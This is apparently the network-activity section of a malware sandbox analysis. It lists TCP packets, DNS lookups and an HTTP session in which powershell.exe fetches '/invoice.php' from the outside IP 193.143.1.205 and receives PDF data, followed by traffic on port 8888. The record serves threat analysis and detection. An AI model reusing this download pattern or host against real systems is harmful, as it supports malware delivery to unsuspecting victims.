Jan 10, 2025 19:02:06.085016012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.085069895 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.085078001 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.085114002 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.085161924 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.085161924 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.085210085 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.085242987 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.085252047 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.085292101 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.085338116 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.085340977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.085374117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.085407019 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.085421085 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.085455894 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.085490942 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.085503101 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.085521936 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.085557938 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.085563898 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.085585117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.085624933 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.086097002 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.086132050 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.086177111 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.086183071 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.086214066 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.086249113 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.086256981 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.086285114 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.086317062 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.086328983 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.086349964 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.086385012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.086394072 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.086421013 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.086460114 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.086889982 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.086946964 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.086978912 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.086996078 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.087012053 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.087044001 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.087065935 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.087163925 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.087198019 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.087215900 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.087232113 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.087265015 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.087277889 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.098086119 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.113562107 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.113575935 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.113595963 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.113605022 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.113617897 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.113634109 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.113676071 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.113677025 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.113687992 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.113701105 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.113734961 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.113775969 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.113787889 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.113822937 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.137382030 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.137434959 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.137437105 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.137469053 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.137500048 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.137514114 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.137533903 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.137578964 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.137587070 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.137641907 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.137675047 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.137685061 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.137706995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.137738943 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.137747049 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.137772083 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.137819052 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.137828112 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.137876034 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.137909889 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.137918949 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.137943983 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.137975931 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.137984037 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.138014078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.138046980 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.138055086 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.138081074 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.138115883 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.138123035 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.169523954 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.169574022 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.169574022 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.169585943 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.169596910 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.169627905 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.169632912 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.169644117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.169670105 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.169682026 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.169694901 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.169718981 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.169720888 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.169759035 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.169820070 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.169831038 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.169842005 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.169864893 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.169876099 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.169905901 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.169919014 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.169948101 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.170010090 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.170099974 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.170109034 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.170120001 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.170139074 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.170170069 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.170197010 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.170229912 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.170232058 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.170243979 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.170268059 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.170345068 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.170392036 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.170427084 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.170445919 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.170458078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.170480967 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.170592070 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.170603037 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.170613050 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.170624018 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.170634985 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.170641899 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.170654058 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.170665979 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.170684099 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.170708895 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.170721054 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.170731068 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.170758009 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.170794010 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.170866966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.170880079 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.170932055 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.170933962 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.170943975 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.170984030 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.170984983 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.171005011 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.171015024 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.171062946 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.171066999 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.171109915 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.171118975 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.171129942 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.171163082 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.171191931 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.171201944 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.171211958 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.171241045 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.184598923 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.184634924 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.184669018 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.184672117 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.184706926 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.184735060 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.184741020 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.184792995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.184803963 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.184844017 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.184879065 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.184894085 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.184922934 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.184945107 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.184963942 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.184974909 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.184988976 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.185004950 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.185009003 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.185019016 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.185033083 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.185048103 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.185058117 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.185070992 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.185086012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.185100079 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.185113907 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.185113907 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.185125113 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.185136080 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.185143948 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.185373068 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.185389996 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.185401917 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.185403109 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.185412884 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.185417891 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.185425043 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.185437918 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.185461044 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.185703039 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.185735941 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.185756922 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.185767889 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.185801029 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.185815096 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.185836077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.185868025 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.185878992 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.185902119 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.185935020 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.185945988 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.185967922 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.186000109 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.186012030 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.186036110 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.186079025 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.201453924 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.201519966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.201555014 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.201574087 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.201589108 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.201623917 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.201632977 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.201658010 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.201694012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.201718092 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.216363907 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.223789930 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.223850012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.223865986 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.223902941 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.223938942 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.223957062 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.223973036 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.224005938 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.224019051 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.224040031 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.224088907 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.224303007 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.224380016 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.224426985 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.224448919 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.224483013 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.224524975 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.224530935 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.224581957 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.224615097 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.224623919 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.224648952 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.224682093 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.224692106 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.224731922 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.224766016 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.224777937 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.224816084 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.224848986 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.224858046 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.224883080 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.224939108 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.266045094 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.266067982 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.266079903 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.266093969 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.266122103 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.266171932 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.266180992 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.266191959 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.266199112 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.266213894 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.266223907 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.266232014 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.266239882 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.266273022 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.266279936 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.266299963 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.266341925 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.266372919 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.266383886 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.266392946 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.266413927 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.267436028 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:06.267481089 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.335583925 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:06.490928888 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:07.056950092 CET	49728	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:07.061971903 CET	8888	49728	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:07.062072992 CET	49728	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:07.062290907 CET	49728	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:07.067145109 CET	8888	49728	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:08.076865911 CET	8888	49728	193.143.1.205	192.168.2.6
Jan 10, 2025 19:02:08.123119116 CET	49728	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 19:02:08.718818903 CET	49728	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:02:14.397861958 CET	55805	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 19:02:14.397861958 CET	192.168.2.6	1.1.1.1	0x368a	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 19:02:14.405316114 CET	1.1.1.1	192.168.2.6	0x368a	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:02:15.177426100 CET	1.1.1.1	192.168.2.6	0xc7a7	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:02:15.177426100 CET	1.1.1.1	192.168.2.6	0xc7a7	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49711	193.143.1.205	80	6012	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:02:04.457572937 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 19:02:05.372236967 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:02:05 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 